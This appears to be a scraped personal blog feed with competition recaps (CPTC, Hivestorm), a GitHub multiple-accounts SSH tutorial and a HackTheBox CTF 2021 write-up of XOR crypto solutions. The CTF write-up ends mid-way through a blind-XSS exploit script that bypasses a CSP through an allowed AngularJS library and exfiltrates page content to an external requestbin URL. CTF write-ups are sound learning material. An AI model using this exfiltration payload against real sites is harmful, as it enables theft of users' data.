<p>I understand that presentations take time to perform and grade, and that it only gets harder as the competition grows more every year. But I think that 10 minutes for both presentation and Q&A is not enough time to accurately differentiate the skill of teams and to give a decent presentation to executives. Personally, I feel I did not have time to give a quality presentation. I would suggest that presentation and Q&A times should be separate: 10 minutes for presentation and 2 minutes for Q&A. If the team ends their presentation early, they forfeit that time and the Q&A portion will start early. If it pushes back awards by a few hours, I don’t think any teams would mind, especially if it gave the opportunity to make presentations higher quality.</p>
<h2 id="prize-money">Prize money</h2>
<p>I’ll be frank, prize money is always nice. Even if it is only a few hundred per player, that would be enough to seriously excite some of the competitors and even get new schools to join. For a competition of this caliber, I was honestly surprised to learn that there was no monetary prize. I understand that infrastructure and reimbursements costs a ton of money for CPTC. If those are taking up all the income. Considering the teams can’t even choose what prize items they get from categories, even if it’s just for the top spot, having a monetary prize should be a thing.</p>
<h1 id="closing-thoughts">Closing Thoughts</h1>
<p>CPTC was a great experience, and it will always be known that my team and I were victorious in the <a href="https://cp.tc/previous-winners">Halls of Victory</a>. This was my first season competing in CPTC, and penetration testing in general. In fact, it was the first season of CPTC for 7 out of the 8 members in the Cal Poly Pomona CPTC team. Including myself, there were 3 underclassmen on the team. Individual experience was definitely lacking, but we made up for it with fiery passion, terrible sleep schedules, and the support of previous generations. By no means were we the best technical team (e.g. Stanford found the most zero-day exploits), but we had spirit and carried the dreams of those who came before us. We carried on their legacy, as will the next generation carry ours. We stand on the shoulders of giants. We are the 2021-2022 CPTC global champions.</p>
<p>And we are eagerly waiting to defend our title.</p>
<hr />
<p>My teammates spent a ton of time and effort to win this year. Check out the websites below.</p>
<ul>
<li>Alex: <a href="https://nosecurity.blog" class="button button--primary button--rounded button--sm">https://nosecurity.blog/</a></li>
<li>Nathan: <a href="https://nathaneberhardt.com/" class="button button--primary button--rounded button--sm">https://nathaneberhardt.com/</a></li>
<li>Justin: <a href="https://covertops.xyz/" class="button button--primary button--rounded button--sm">https://covertops.xyz/</a></li>
<li>Robinson: <a href="https://rsecke.com/" class="button button--primary button--rounded button--sm">https://rsecke.com/</a></li>
<li>Dylan: <a href="https://dtsec.us/" class="button button--primary button--rounded button--sm">https://dtsec.us/</a></li>
<li>Taylor: <a href="https://tsnguyen.com/" class="button button--primary button--rounded button--sm">https://tsnguyen.com/</a></li>
<li>Jacob: <a href="https://www.jacobjayme.xyz/" class="button button--primary button--rounded button--sm">https://jacobjayme.xyz/</a></li>
</ul>Gabriel Fokgabriel@gabrielfok.usMy experience and review of the Collegiete Penetration Testing Competition, from the persepctive of the 2021-2022 CPTC & world champions. TLDR; Not too many technical details.Hivestorm 20212021-10-19T00:00:00+00:002021-10-19T00:00:00+00:00https://gabrielfok.us/competition/Hivestorm2021<p>tldr; It was fun and very similar to CyberPatriot. Don’t expect all the answers to the images.</p>
<h1 id="overall-thoughts">Overall Thoughts</h1>
<p>On 10/9/21, I competed in Hivestorm 2021. I guess this is becoming an annual series, so I decided to keep the same format as last year. Once again, I was on Linux team for this competition, but this time my team were full of my previous year’s CCDC team. Our goal was not to score the highest scores, but to ensure that our newer CCDC team members got a taste of what a cybersecurity competition may look like. Many of the same expereiences I had last year repeated itself. I am pretty sure that this year’s Hivestorm competition images were the exact same as CyberPatriot 2021’s Round 4 images. Although we did little worse placement-wise than last year as a team, we ended up scoring essentially the same number of points but with much less effort which is a testament to our improvement of both ourselves the rest of the teams competing.</p>
<p>“Would you compete in Hivestorm again?”
Yeah, probably. Since the <a href="http://www.hivestorm.org/rules.html">rules page</a> doesn’t seem to have restrictions against students from different schools competing together, I might try again with different friends, but who knows. I know I said that last year, but next year maybe I actually will.</p>
<h1 id="the-ubuntu-image">The Ubuntu Image</h1>
<p>Even though I was mainly focused on the Ubuntu image this year, I want to make it abundantly clear that I was not competing to win this year.</p>
<p>First, this year the Ubuntu image had a Samba server running that needed to be secured on top of the OS itself. A couple of the forensics questions were concerning the Samba server as well. This was pretty refreshing since the typical image in Hivestorm is just a LAMP stack. From what I gathered, many people struggling to work with Samba since they are more familiar with SMB shares running on Windows. One thing that most people hopefully look up was the Samba config file: <code class="language-plaintext highlighter-rouge">/etc/samba/smb.conf</code>. This is where you can configure all of the Samba settings and shares. For example, you can list the allowed users for each share. Some of the vulnerable settings in Samba included anonymous/public shares and writable/browseable shares. Sometimes having writable and browseable shares are important, but in this case the directory that was being shared did not need them, so I disabled those settings. For one of the forensics questions, the goal was to find the intersection of users allowed to access a certain share and existing Samba users. As previously mentioned, you can find the allowed users in the <code class="language-plaintext highlighter-rouge">smb.conf</code> file. To find the list of existing users you can use:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo pdbedit -L -v
</code></pre></div></div>
<p>Once you have the two lists of users, you just need to see which users are in both lists. As a rule of thumb, you should always check up on your critical services to make sure other configurations not stated here are in line with your security best practices.</p>
<p>Second, a large number of points (~15-20) came from updates, removing packages, and update settings. Some people may think that for a security competition, this weighting is bad because updates are so simple. In the real world, however, updating and maintaining systems and their software is a very serious responsibility of sysadmins. Vulnerabilities and exploits are being released every day, so it is very important to stay up-to-date with the latest security patches.</p>
<p>Third, as always, password configuration and user authentication are always free points up for grabs. Since PAM was installed, you could just configure it there.</p>
<p>Of note, I got totally trolled by one of the forensics questions and was stuck for half the competition because there was more than one of the same file with one modification. Since I found the first file, I assumed it was the correct file, but as it turns out - it wasn’t. Hate it when that happens.</p>
<p>At the end of day, we got 68 points on Ubuntu.</p>
<h1 id="the-debian-image">The Debian Image</h1>
<p>The Debian image this year was fairly tame. Nothing that we hadn’t see before, so I was mostly hands off. I was able to score some points while configuring various system configurations like password policy and sudo configurations. Also, got a number of points for securing the Linux kernel, so that’s a good place to research if you ever get stuck. Simple things like firewall, updates, user auditing, and the like should always be on your checklists because they are always worth points. Obviously, points represent a real-world objective, so don’t take them lightly.</p>
<p>For Debian, we ended up getting 78 points.</p>
<h1 id="advice">Advice</h1>
<p>If you’re looking to compete in a future Hivestorm event, I highly recommend it if you’re just getting into cybersecurity or just want to try your skills. If you competed in CyberPatriot, you should have a good idea of what to expect. Honestly, even CyberPatriot competitors can use these tips. See my post from last year.</p>
<p><a class="button button--primary button--pill" href="/articles/Hivestorm2020#advice-for-competitors">Last year’s post</a></p>Gabriel Fokgabriel@gabrielfok.usOn October 9th, my team and I competed in Hivestorm 2021. Yet again I was focused on the Linux portion of the competition, but this time I was working primarily on the Ubuntu virtual machine. We placed top 10.How to Use Multiple Git Accounts on One Computer2021-09-21T00:00:00+00:002021-09-21T00:00:00+00:00https://gabrielfok.us/article/GitMultipleAccounts<h1 id="basic-introduction">Basic Introduction</h1>
<p>If you’re a developer who holds many titles in different organizations, you’ve probably used Git before. If you’re anything like me, depending on which organization I may be doing work for (school, personal, club), I may use different accounts for different repositories and projects. Since GitHub has taken a big security move and deprecated password authentication for authenticated CLI Git operations (e.g. pushing), you can no longer simply swap between logon credentials.</p>
<h1 id="tutorial">Tutorial</h1>
<h2 id="overview">Overview</h2>
<p>Essentially, there are 2 correct ways of setting up multiple GitHub accounts: SSH keys (which works for all repos) and per-repo accounts via Personal Access Tokens. In my experience, using SSH keys is easier because I get to reuse my identity for all future GitHub repos, so long as I use the right credentials.</p>
<h2 id="ssh-keys-with-github">SSH Keys with GitHub</h2>
<p><em>First</em>, generate an SSH key for if you don’t have one already.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>ssh-keygen <span class="nt">-t</span> ed25519 <span class="nt">-C</span> <span class="s2">"your_email@example.com"</span>
</code></pre></div></div>
<p>You can then press enter through the rest of the prompts, or if you would like more security, check out “<a href="https://docs.github.com/en/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases">Working with SSH key passphrases</a>.”</p>
<p>The SSH key will be generated in the <code class="language-plaintext highlighter-rouge">~/.ssh</code> directory inside your user’s home directory. There will be a private key and a public key. The public key ends with “.pub” extension.</p>
<p><em>Second</em>, go to GitHub and go to your account settings and go to “SSH and GPG keys”. Click “New SSH key” and then copy-paste the content of the “.pub” file into the bottom field. Name your key in the top field, then click “Add SSH key”.</p>
<p><em>Third</em>, create/edit the file <code class="language-plaintext highlighter-rouge">~/.ssh/config</code>, and put the following contents inside:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Default github account: personal
Host github.com
HostName github.com
IdentityFile ~/.ssh/personal_private_key
IdentitiesOnly yes
# Other github account: school
Host github-school
HostName github.com
IdentityFile ~/.ssh/school_private_key
IdentitiesOnly yes
</code></pre></div></div>
<blockquote>
<p>Set the <code class="language-plaintext highlighter-rouge">Host</code> field to something that will help you remember what account it is for. I used “github-school”, but you could set it to “work” or “”.</p>
</blockquote>
<p><em>Fourth</em>, add your SSH private keys to your agent.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">eval</span> <span class="s2">"</span><span class="si">$(</span>ssh-agent <span class="nt">-s</span><span class="si">)</span><span class="s2">"</span> <span class="c"># starts ssh-agent service</span>
<span class="nv">$ </span>ssh-add ~/.ssh/personal_private_key <span class="c"># adds personal private key</span>
<span class="nv">$ </span>ssh-add ~/.ssh/school_private_key <span class="c"># adds school private key</span>
</code></pre></div></div>
<h5 id="note-the-above-commands-are-run-in-bash">Note: The above commands are run in Bash</h5>
<p><em>Fifth</em>, try testing the connection for your SSH keys.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>ssh <span class="nt">-T</span> git@github.com
<span class="nv">$ </span>ssh <span class="nt">-T</span> git@github-school
</code></pre></div></div>
<p>If it works, you should get something like the result below for each account.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Hi dbaseqp! You've successfully authenticated, but GitHub does not provide shell access.
</code></pre></div></div>
<p><em>Voila!</em> You’re done and should be able to push/pull with the correct accounts. To specify which account you want to be pushing/pulling with, configure your remote like so:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># For new projects</span>
<span class="nv">$ </span>git clone git@github.com:dbaseqp/blog.git
<span class="c"># OR</span>
<span class="nv">$ </span>git clone git@github-school:dbaseqp/blog.git
<span class="c"># For projects you already have</span>
<span class="nv">$ </span>git remote set-url origin git@github.com:dbaseqp/blog.git
<span class="c"># OR</span>
<span class="nv">$ </span>git remote set-url origin git@github-school:dbaseqp/blog.git
</code></pre></div></div>
<h2 id="personal-access-tokens">Personal Access Tokens</h2>
<p>When you create a remote (e.g. origin), you can associate the remote with your Personal Authentication Token. This technique basically is going to associate a certain remote repository with one of your accounts.</p>
<p>GitHub’s Personal Authentication Token can be found in your user account’s settings, near the bottom under “Developer settings.” Then go to “Personal access tokens” and generate a new token if you need to. From there you can select the permissions you would like to grant that token. By default, I would say selecting “repo” is usually good enough. Click the generate button to create the token.</p>
<p>Once you have copied your token, I recommend storing somewhere secure like in a password manager because you won’t be able to access it again.</p>
<p>Then, from your CLI, use the below command to add the remote.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>git remote add origin https://USERNAME:personal_access_token@github.com/USERNAME/REPOSITORY.git
</code></pre></div></div>
<p>If you are reconfiguring an existing remote, you may need to use <code class="language-plaintext highlighter-rouge">set-url</code> instead of <code class="language-plaintext highlighter-rouge">add</code>, but it’s the same process.</p>
<p>Now you should be able to push without any problems.</p>
<h1 id="common-mistakes">Common Mistakes</h1>
<h2 id="config-user">Config user</h2>
<p>While scouring forums and tutorials, I found a lot of posts recommending to use commands such as:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>git config <span class="nt">--global</span> user.name <span class="s2">"First Last"</span>
<span class="nv">$ </span>git config <span class="nt">--global</span> user.email <span class="s2">"you@example.com"</span>
</code></pre></div></div>
<p>For switching to a particular account in a single-repository, they recommended to edit the local name and email information by removing the global flag:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>git config user.name <span class="s2">"Firt Last"</span>
<span class="nv">$ </span>git config user.email <span class="s2">"you@example.com"</span>
<span class="c">## or ##</span>
<span class="nv">$ </span>git config <span class="nt">--local</span> <span class="s2">"First Last"</span>
<span class="nv">$ </span>git config <span class="nt">--local</span> user.email <span class="s2">"you@example.com"</span>
</code></pre></div></div>
<h2 id="set-remote">Set remote</h2>
<p>Another technique was to set the remote to an address that followed this pattern:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>git remote add origin https://USERNAME@github.com/USERNAME/REPOSITORY.git
</code></pre></div></div>
<p>However, both of these <strong><em>do not</em></strong> actually swap the account being used in that repository. The first strategy simply changes the display information for your commit when you push to the repository. The second just doesn’t work at all.</p>
<h1 id="conclusion">Conclusion</h1>
<p>Hopefully, this has been a useful tutorial for you. GitHub is a great tool, but with the deprecation of password authentication, using Git on the command line to use GitHub can be a little confusing.</p>Gabriel Fokgabriel@gabrielfok.usLearn how to commit to different repositories from different accounts after GitHub has deprecated password authentication for authenticated Git operations. Very useful if you are working on different projects for different organizations such as personal GitHub and a school GitHub.HackTheBox CTF 20212021-04-26T00:00:00+00:002021-04-26T00:00:00+00:00https://gabrielfok.us/competition/HackTheBoxCTF<h1 id="overall-review">Overall Review</h1>
<h2 id="my-thoughts">My Thoughts</h2>
<p>To put it simply, I really enjoyed HackTheBox CTF.</p>
<p>For context, I have competed in many other CTFs before, however, I never really got that far in any of them. I would always try to mix up the kinds of challenges that I focused on to increase the breath of my knowledge, but this time I focused almost all of my time in crypto. From my teammates, I was able to work on a few other challenges, but going pretty deep (for a rookie) in crypto felt like a decent acomplishment. Over the 20 or so total hours of researching, I was able to learn a lot about cryptography. For example, I already knew how XOR worked in concept, but I never really understood how it was used in crypto. It took many hours of research to find good resources that explained concepts like AES, multi-pad attacks, and RSA simply enough for a novice to understand. RSA in particular was very difficult to research, as most resources explained things either way too simply (leaving out the parts I needed) or way too in-depth (convoluting the information). I hope that I explained these concepts well enough that others won’t have to go through what I did in the below writeups of the challenges. Lastly, I’m really proud of my team’s work. We were able to get 189th place worldwide which is the top 3.99%. Among US teams, we were top 40, which really shocked me because this CTF was open to students, hobbyists, and professionals alike. To be top 40 in US as a ragtag group of college students is a feat I’m glad to have made with my team.</p>
<h2 id="breakdown">Breakdown</h2>
<h3 id="variation">Variation</h3>
<p>HTB CTF had lots of variance for the challenges. The categories were as follows: Web, Pwn, Crypto, Reversing, Forensics, Hardware, & Misc. Each category had a number of challenges that tested different skillsets. Though my team only were able to get deep in a few categories, specifically web and crpyto, the other categories had interesting challenges based on what I could grasp from reading their descriptions.</p>
<h3 id="difficulty">Difficulty</h3>
<p>Unlike other CTFs that I’ve seen in the past, HTB CTF had a nice progressive skill curve based on my team’s experience. However, a few teams did finish all the challenges fairly early. Like I mentioned earlier, this CTF was open to all skill levels so it is possible that only the very best would be able to complete all the challenges, but I think that this CTF is definitely aimed more for the middle tier of CTF competitors. Those who wish for a truly challenging CTF might have found the challenges in their main role’s specific category a decent skills test to learn a few things at best or just a time sink at worst.</p>
<h3 id="other-notes">Other Notes</h3>
<p>One good thing I really enjoyed was the Docker instances they had to host the challenges. I found them to be a neat functionality that I haven’t seen other platforms incorporate so seamlessly. On another note, I found that the challenges themselves were a good learning tool for me, but unfortunately they were take offline as soon as the competition ended. I understand that HTB wanted conserve resources and make the materials private again, but I was hoping for at least 24 hours to save any challenges competitors like myself might have had yet to complete.</p>
<h3 id="rating">Rating</h3>
<p>Note: the score is not a 100% accurate reflection of the competition, it’s just give my feeling a number.</p>
<p>Final score: 9/10</p>
<h1 id="crypto-challenges">Crypto Challenges</h1>
<p>I did get stuck on a couple of the Crypto challenges, but I was able to complete a handful of them. The challenges were as follows:</p>
<ul>
<li><a href="#Nintendo-Base64">Nintendo Base64</a></li>
<li><a href="#phasestream-1">Phasestream 1</a></li>
<li><a href="#phasestream-2">Phasestream 2</a></li>
<li><a href="#phasestream-3">Phasestream 3</a></li>
<li><a href="#phasestream-4">Phasestream 4</a></li>
</ul>
<hr />
<h2 id="nintendo-base64">Nintendo Base64</h2>
<p>Summary of Information Given:</p>
<ul>
<li>ASCII art of a picture showing “nintendo64x8”</li>
</ul>
<p>Given the name, I assumed it was a base 64 encoded message. I went to base64decode.org and plugged in the message. However, after the first decryption, I didn’t see the flag anywhere. That’s when it hit me, the ASCII art was probably referencing it was base 64 encoded 8 times, so I continued decoding the message until I got the flag.</p>
<h3 id="flag">Flag</h3>
<p><code class="language-plaintext highlighter-rouge">CHTB{3nc0d1ng_n0t_3qu4l_t0_3ncrypt10n}</code></p>
<hr />
<h2 id="phasestream-series">Phasestream Series</h2>
<p>Each one was similar, but just enough different to make you think about it entirely differently. Each Phasestream challenge revolved around the concept of XOR, and they were extremely difficult if you simply looked for the solution online, so we’ll start with that.</p>
<h3 id="what-is-xor">What is XOR?</h3>
<p>XOR, also known as eXclusive OR, is a logical operation that basically means, “either but never both”. If you are unfamiliar with XOR, we’ll start with XOR in binary representation. Say you have 2 unique bytes, Byte 1 and Byte 2. If you line the two bytes on top of each other, the bits should align on top of each other. Wherever a ‘1’ bit overlaps with another ‘1’ bit, they cancel each other out and result in ‘0’ for that bit. If a ‘1’ bit overlaps a ‘0’ bit, the result is ‘1’.</p>
<p>Here’s an example of how it works.</p>
<table>
<thead>
<tr>
<th style="text-align: center">Label</th>
<th style="text-align: center">Data</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: center">Byte 1</td>
<td style="text-align: center">10001100</td>
</tr>
<tr>
<td style="text-align: center">Byte 2</td>
<td style="text-align: center">00001111</td>
</tr>
<tr>
<td style="text-align: center">Byte 1 XOR Byte 2</td>
<td style="text-align: center">10000011</td>
</tr>
</tbody>
</table>
<p>Importantly, XOR has 4 important properties: the communative, associative, self-inverse, and identity properties. Taken together, these properties imply the result of XORing any series of values can be reversed into the original value by XORing with a previously used value. If you are still confused about XOR, try reading <a href="https://accu.org/journals/overload/20/109/lewin_1915/">this journal</a> or researching separately.</p>
<p>Why is this important to cryptography? Because ciphers/encryption algorithms that XOR plaintext with encryption keys to produce ciphertexts can be undone if you have enough information about the results and the algorithm. For example, if you know your <code class="language-plaintext highlighter-rouge">ciphertext = plaintext ⊕ key</code>, you can use <code class="language-plaintext highlighter-rouge">ciphertext ⊕ key</code> to get your plaintext back (BTW ⊕ is the symbol for XOR).</p>
<h3 id="phasestream-1">Phasestream 1</h3>
<p>Summary of Information Given:</p>
<ul>
<li>Aliens have discovered XOR to encrypt plaintext</li>
<li>XOR key is 5 bytes</li>
<li>Encrypted flag: 2e313f2702184c5a0b1e321205550e03261b094d5c171f56011904</li>
<li>Hint: What is the format of a flag?</li>
</ul>
<p>First things first, the hint references flag format. For HTB CTF, the format was “CHTB{“, which I just so happened to notice was 5 characters (and a character is 1 byte). Since we know the flag was encrypted with XOR, all we really need to do is find the key to decrypt it. As I mentioned in my section about XOR, <code class="language-plaintext highlighter-rouge">ciphertext = plaintext ⊕ key</code> which implies, <code class="language-plaintext highlighter-rouge">ciphertext ⊕ plaintext = key</code>.</p>
<hr />
<h4 id="a-brief-intermission-if-that-equation-confused-you">A brief intermission if that equation confused you…</h4>
<p>If this is confusing to you, think of it like this:
We know <code class="language-plaintext highlighter-rouge">ciphertext = plaintext ⊕ key</code> is true by definition.</p>
<p>Our assumption <code class="language-plaintext highlighter-rouge">ciphertext ⊕ plaintext = key</code> could then be rewritten as <code class="language-plaintext highlighter-rouge">plaintext ⊕ key ⊕ plaintext = key</code>.</p>
<p>Since XOR is associative and self-inversing, <code class="language-plaintext highlighter-rouge">plaintext ⊕ key ⊕ plaintext = key</code> -> <code class="language-plaintext highlighter-rouge">plaintext ⊕ plaintext ⊕ key = key</code> -> <code class="language-plaintext highlighter-rouge">key = key</code> which is obviously true. Therefore, <code class="language-plaintext highlighter-rouge">ciphertext ⊕ plaintext = key</code> is true.</p>
<p>This is known as a known-plaintext attack.</p>
<hr />
<p>At this point, my strategy is to simply XOR the encrypted text with the known plaintext string, “CHTB{“. Since the known plaintext string is the same length as the key, it should reveal the full encryption key. I went to dcode.fr and input the information I knew.</p>
<p><img src="https://i.imgur.com/zf2A1jg.png" alt="" /></p>
<p>You’ll notice that the there’s a lot of gibberish produced, however, the there is a 5-byte chunk of plaintext at the beginning, “mykey”. Based on the context, I assumed that it was the true encrpytion key.</p>
<p><img src="https://i.imgur.com/u8Tq4SZ.png" alt="" /></p>
<p>Using “mykey” as the encryption key revealed the flag.</p>
<h4 id="flag-1">Flag</h4>
<p><code class="language-plaintext highlighter-rouge">CHTB{u51ng_kn0wn_pl41nt3xt}</code></p>
<h3 id="phasestream-2">Phasestream 2</h3>
<p>Summary of Information Given:</p>
<ul>
<li>Aliens have discovered “security by obscurity” and threw junk data in with the real flag</li>
<li>XOR key is 1 bytes</li>
<li>Flag is in 10,000 line file, output.txt</li>
<li>Encryption technique is XOR</li>
</ul>
<p>This challenge is more or less the exact same as the previous, except we have to go through up to 10,000 lines. My solution was to XOR every line in the file based on a list of possible 1-byte keys. My script was based on <a href="https://github.com/laconicwolf/crypto-tools/blob/master/repeating_key_xor_encrypt_decrypt.py">laconicwolf’s commandline XOR tool</a>, but you could either make your own or find another XOR tool for this. Its a bash script that runs the Python XOR decryption script and only prints the line that produces the flag format.</p>
<h5 id="my-bash-script-solution">My Bash Script Solution</h5>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#!/bin/bash
iter=0
possibleKeys=(a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z)
for i in ${possibleKeys[@]}; do
python3 repeating_key_xor_encrypt_decrypt.py -xd -f output.txt -k $i | grep "CHTB{" && echo "Key: $i"
done
</code></pre></div></div>
<p>I just gave it execute permission and ran it, and it spat out the flag.</p>
<h4 id="flag-2">Flag</h4>
<p><code class="language-plaintext highlighter-rouge">CHTB{n33dl3_1n_4_h4yst4ck}</code></p>
<h3 id="phasestream-3">Phasestream 3</h3>
<p>Summary of Information Given:</p>
<ul>
<li>Aliens have discovered AES in CTR mode encryption, which turns AES into a stream cipher</li>
<li>We are given the encryption program, phasestream3<area />.py</li>
<li>The flag is given in output.txt</li>
</ul>
<p>First, I opened the encryption Python script to see how they implemented AES-CTR encryption and noticed something that shouldn’t be there. While the aliens encrypted the flag, a second message was encrypted as a test and was left in as plaintext.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>test="No right of private conversation was enumerated in the Constitution. I don't suppose it occurred to anyone at the time that it could be prevented"
</code></pre></div></div>
<p>AES-CTR encryption ultimately boils down to, <code class="language-plaintext highlighter-rouge">ciphertext = AES(ctr) ⊕ plaintext</code> where AES(ctr) is really just acting as the encryption key. Every time the program is run, theoretically, it should produce a new key. However, since the key was reused, we know both given ciphertexts use the same key and we can abuse this to XOR cancel the encryption key without knowing what it actually is. This is known as a many-time-pad attack (or a reused key attack). Since we also know the plaintext, we can combine it with a known-plaintext attack to get the flag.</p>
<h5 id="reused-key-attack-proof">Reused Key Attack Proof:</h5>
<ol>
<li><code class="language-plaintext highlighter-rouge">ciphertext1 ⊕ plaintext ⊕ ciphertext2 = flag</code></li>
<li><code class="language-plaintext highlighter-rouge">[AES(ctr) ⊕ plaintext] ⊕ plaintext ⊕ [AES(ctr) ⊕ flag] = flag</code></li>
<li><code class="language-plaintext highlighter-rouge">AES(ctr) ⊕ AES(ctr) ⊕ plaintext ⊕ plaintext ⊕ flag = flag</code></li>
<li><code class="language-plaintext highlighter-rouge">0 ⊕ 0 ⊕ flag = flag</code></li>
<li><code class="language-plaintext highlighter-rouge">flag = flag</code></li>
</ol>
<h5 id="in-code">In code:</h5>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import xor
ciphertext1 = bytes.fromhex("08501b3dbd0fb2f7c87aeb3a224a9d568fa8ad83ff442548b5f4334f0fe1dd6b8f5d5e410be5af2d7ea642b12d8f459f2ab666d4f79a9115dc9cf22ed60e899769fd206c40819bbefe2b5a2ec592a387c6927d866b6343466d5effde0666dd3bb7f657ed651bfcf45fd5b264a36406c6b6dbb1a81272029c5e06da438a0281c19c1e10a0dc47d6ae994557e82663e9f59578")
ciphertext2 = bytes.fromhex("05776f0daf1ae9f6dd26e945390bad7fda889c97ff6036")
test = b"No right of private conversation was enumerated in the Constitution. I don't suppose it occurred to anyone at the time that it could be prevented."
key = xor(ciphertext1, test)
print(xor(key, ciphertext2))
</code></pre></div></div>
<h4 id="flag-3">Flag</h4>
<p><code class="language-plaintext highlighter-rouge">CHTB{r3u53d_k3Y_4TT4cK}</code></p>
<h3 id="phasestream-4">Phasestream 4</h3>
<p>Summary of Information Given:</p>
<ul>
<li>The aliens fixed their mistake and encrypted a different flag</li>
<li>Same as Phasestream 3 otherwise</li>
</ul>
<p>This climax of the Phasestream series revisits the core themes of the previous chapters. Phasestream 4 is the exact same except there is no plaintext leftover, but they still include a 2nd ciphertext. This is still vulnerable because this is still a many-time-pad attack, we just have to change the approach.</p>
<p>If you’ve been following along, <code class="language-plaintext highlighter-rouge">ciphertext1 ⊕ ciphertext2 = plaintext ⊕ flag</code> because the encryption keys will cancel out (flag is just another plaintext). We can complete this challenge by basically doing the same techniques as Phasestream 3 and 1, in that order. XOR the two ciphertexts together, then XOR the result with what we guess might be in one of the two plaintexts. I used <a href="https://github.com/CameronLonsdale/MTP">CameronLonsdale’s Multi-pad tool</a> to decrypt the message. The tool XORd what it could and then you have to fill in the rest by guessing. I started one side with ‘CHTB{‘ and saw the other side start ‘I alo’. I guessed that it was ‘I alone’ which extended part of the flag. This process of guessing and extending each plaintext is known as crib dragging, and it ultimately resulted in enough of the plaintext message that I could recognized it as a quote.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>"I alone cannot change the world, but I can cast a stone across the water to create ma"
</code></pre></div></div>
<p>Just XOR the plaintext ⊕ flag with the discovered plaintext, and we’ll get the flag.</p>
<h4 id="flag-4">Flag</h4>
<p><code class="language-plaintext highlighter-rouge">CHTB{stream_ciphers_with_reused_keystreams_are_vulnerable_to_known_plaintext_attacks}</code></p>
<h2 id="other-challenges">Other Challenges</h2>
<p>Disclaimer: For these challenges, my team solved these in collaboration. My individual participation varied so I can’t do a detailed breakdown for each solution.</p>
<h3 id="alien-camp">Alien Camp</h3>
<p>This challenge had us connect to a netcat listener that gave us a quiz of 500 math questions. The twist was the math questions were in emojis (instead of numbers), each question must be solved in under 2 seconds, and each emoji had a different value every time.</p>
<p>I noticed that the quiz had 2 options when connected to: ‘1’ to see the emoji values, and ‘2’ to take the quiz. Based on the these factors, I assumed all we needed to do to create a script that creates a Python dictionary that uses the hexcodes of each emoji as the key to its value.</p>
<h5 id="the-script-my-team-made-together">The script my team made together:</h5>
<script src="https://gist.github.com/dbaseqp/397de1a5620d5ddfc1fa94a497df6a68.js"></script>
<h3 id="the-galactic-times">The Galactic Times</h3>
<p>This challenge had a feedback form that was vulnerable to XSS. My teammate, NoSecurity, figured out the technical solution for this challenge, so you should check out <a href="https://nosecurity.blog/">his blogpost about HTBCTF</a> for more details.</p>
<h4 id="my-part">My part</h4>
<p>In short, we had to avoid a CSP to use blind XSS and exfiltrate the flag.</p>
<p>From the given code of the site, we knew that there was a CSP that is supposed to block XSS, however, it specifically does allow an Angular JS library. After NoSecurity set up the exploit script, I wrote the JS payload that sent a XML HTTP request to the page with the flag, searched the response for the part containing the flag, and returned it to our request bin.</p>
<h5 id="our-exploit">Our exploit:</h5>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span>
<span class="c1"># Exploit settings
</span><span class="n">target_ip</span> <span class="o">=</span> <span class="s">'138.68.181.43:30419'</span>
<span class="n">target_endpoint</span> <span class="o">=</span> <span class="s">'/api/submit'</span>
<span class="n">target_url</span> <span class="o">=</span> <span class="s">'http://'</span> <span class="o">+</span> <span class="n">target_ip</span> <span class="o">+</span> <span class="n">target_endpoint</span>
<span class="n">cloudflare_vulnerable_url</span> <span class="o">=</span> <span class="s">'https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js'</span>
<span class="c1"># Sensitive page to retrieve
</span><span class="n">loot_page</span> <span class="o">=</span> <span class="s">'/alien'</span>
<span class="n">loot_url</span> <span class="o">=</span> <span class="s">'/'</span> <span class="o">+</span> <span class="n">loot_page</span>
<span class="c1"># JS Payload
</span><span class="n">request_bin</span> <span class="o">=</span> <span class="s">'https://requestbin.io/1m536do1?'</span>
<span class="n">flag</span> <span class="o">=</span> <span class="s">'flag'</span>
<span class="n">exfil1</span> <span class="o">=</span> <span class="s">'fetch(</span><span class="se">\\</span><span class="s">"/alien</span><span class="se">\\</span><span class="s">")'</span>
<span class="n">js_payload</span> <span class="o">=</span> <span class="s">'var xmlHttp = new XMLHttpRequest();xmlHttp.open(</span><span class="se">\\</span><span class="s">"GET</span><span class="se">\\</span><span class="s">",</span><span class="se">\\</span><span class="s">"'</span> <span class="o">+</span> <span class="n">loot_page</span> <span class="o">+</span> <span class="s">'</span><span class="se">\\</span><span class="s">",false);xmlHttp.send();document.location=</span><span class="se">\\</span><span class="s">"'</span> <span class="o">+</span> <span class="n">request_bin</span> <span class="o">+</span> <span class="s">'</span><span class="se">\\</span><span class="s">" + xmlHttp.responseText.substring((xmlHttp.responseText).search(</span><span class="se">\\</span><span class="s">"CHTB{</span><span class="se">\\</span><span class="s">"),(xmlHttp.responseText).search(</span><span class="se">\\</span><span class="s">"}</span><span class="se">\\</span><span class="s">")+1)'</span>
